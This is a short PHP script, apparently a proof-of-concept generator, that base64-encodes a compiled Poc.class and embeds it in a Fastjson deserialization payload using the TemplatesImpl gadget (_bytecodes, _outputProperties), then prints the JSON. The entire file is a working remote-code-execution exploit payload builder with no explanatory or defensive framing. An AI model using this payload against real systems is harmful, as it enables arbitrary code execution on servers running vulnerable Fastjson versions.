#!/usr/bin/env php
<?php
$bytes = file_get_contents('zip://' . __DIR__ . '/fastjson-1.0.war#WEB-INF/classes/Poc.class');
$json = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["'.base64_encode($bytes).'"],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}';
$json = '{"name":'.$json.',age:12}';
echo $json;